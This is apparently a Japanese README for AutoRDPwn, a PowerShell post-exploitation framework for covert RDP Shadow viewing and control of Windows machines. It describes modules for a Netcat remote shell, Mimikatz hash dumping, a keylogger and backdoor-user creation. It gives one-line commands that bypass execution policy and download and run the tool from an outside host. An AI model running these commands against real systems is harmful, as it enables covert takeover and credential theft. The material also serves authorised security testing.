
The Shadow Attack Framework

AutoRDPwn は Powershell で作成されたポストエクスプロイテーションフレームワークで、主に Microsoft Windows コンピュータに対する Shadow 攻撃を自動化するために設計されています。この脆弱性(Microsoft によって機能としてリストされています)により、リモートの攻撃者は、被害者の同意なしにデスクトップを表示し、必要に応じてオペレーティングシステム自体のネイティブツールを使用して制御することもできます。
追加モジュールのおかげで、Netcat を介したリモートシェルの取得、Mimikatz によるシステムハッシュのダンプ、リモートキーロガーのロードなどが可能です。これらすべてが、7つの異なる言語に対応した完全に直感的なメニューを通じて行えます。
さらに、使用方法のセクションで説明されている一連のパラメータを使用して、リバースシェルで使用することも可能です。
Powershell 4.0 以上
• 多くのバグを修正
• 美的改善と待機時間の改善
• システム設定によるプロキシ対応接続
• .zip ファイルをダウンロードしてオフラインツールを使用することが可能になりました
• Enter キーを押すことで言語を自動検出
• Invoke-DCOM が SharpRDP に置き換えられました
• PowerUp が Invoke-PrivescCheck に置き換えられました
• 被害者側の自動クリーンアップサブルーチンの作成
• 新しいモジュール利用可能: AES で暗号化された SMB シェル
• 新しいモジュール利用可能: RunAs でユーザーを変更
*その他の変更は CHANGELOG ファイルをご覧ください
このアプリケーションは、ローカル、リモート、またはチーム間のピボットに使用できます。
リバースシェルでリモート使用する場合、以下のパラメータを使用する必要があります。
| パラメータ | 説明 |
|---|---|
| -admin / -noadmin | 持っている権限に応じて、どちらかを使用します |
| -nogui | これによりメニューと一部の色の読み込みを回避し、機能を保証します |
| -lang | 言語を選択します(英語、スペイン語、フランス語、ドイツ語、イタリア語、ロシア語、ポルトガル語) |
| -option | メニューと同様に、攻撃の起動方法を選択できます |
| -shadow | リモートデバイスを表示するか制御するかを決定します |
| -createuser | このパラメータはオプションで、被害者マシンにユーザー AutoRDPwn:AutoRDPwn が作成されます |
| -noclean | 被害者コンピュータ上のすべての変更を元に戻すプロセスを無効にします |
1行でのローカル実行:
powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1"
1行でのリモート実行の例:
powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1 -admin -nogui -lang English -option 4 -shadow control -createuser"
https://darkbyte.net/autordpwn-la-guia-definitiva

このプロジェクトは GNU 3.0 ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
このフレームワークは Joel Gámez Molina // @JoelGMSec によって一から作成・設計されました。
一部のモジュールはサードパーティのコード、スクリプト、ツールを使用しています。特に:
• Chachi-Enumerator by Luis Vacas --> https://github.com/Hackplayers/PsCabesha-tools
• Invoke-Phant0m by Halil Dalabasmaz --> https://github.com/hlldz/Invoke-Phant0m
• Invoke-PowerShellTcp by Nikhil "SamratAshok" Mittal --> https://github.com/samratashok/nishang
• Invoke-TheHash by Kevin Robertson --> https://github.com/Kevin-Robertson/Invoke-TheHash
• Mimikatz by Benjamin Delpy --> https://github.com/gentilkiwi/mimikatz
• PsExec by Mark Russinovich --> https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
• RDP Wrapper by Stas'M Corp. --> https://github.com/stascorp/rdpwrap
• SharpRDP by Steven F --> https://github.com/0xthirteen/SharpRDP
そして、ここに収まらない多くのものがあります... すべての皆様とその素晴らしい仕事に感謝します。
このソフトウェアはいかなる保証も提供しません。その使用は教育環境、および/またはクライアントの対応する同意を得たセキュリティ監査に限定されます。私はその誤用またはそれによって引き起こされる可能性のある損害について責任を負いません。
詳細については、Twitter @JoelGMSec またはブログ darkbyte.net で見つけることができます。
あなたは私にコーヒーを買って私の仕事を支援できます: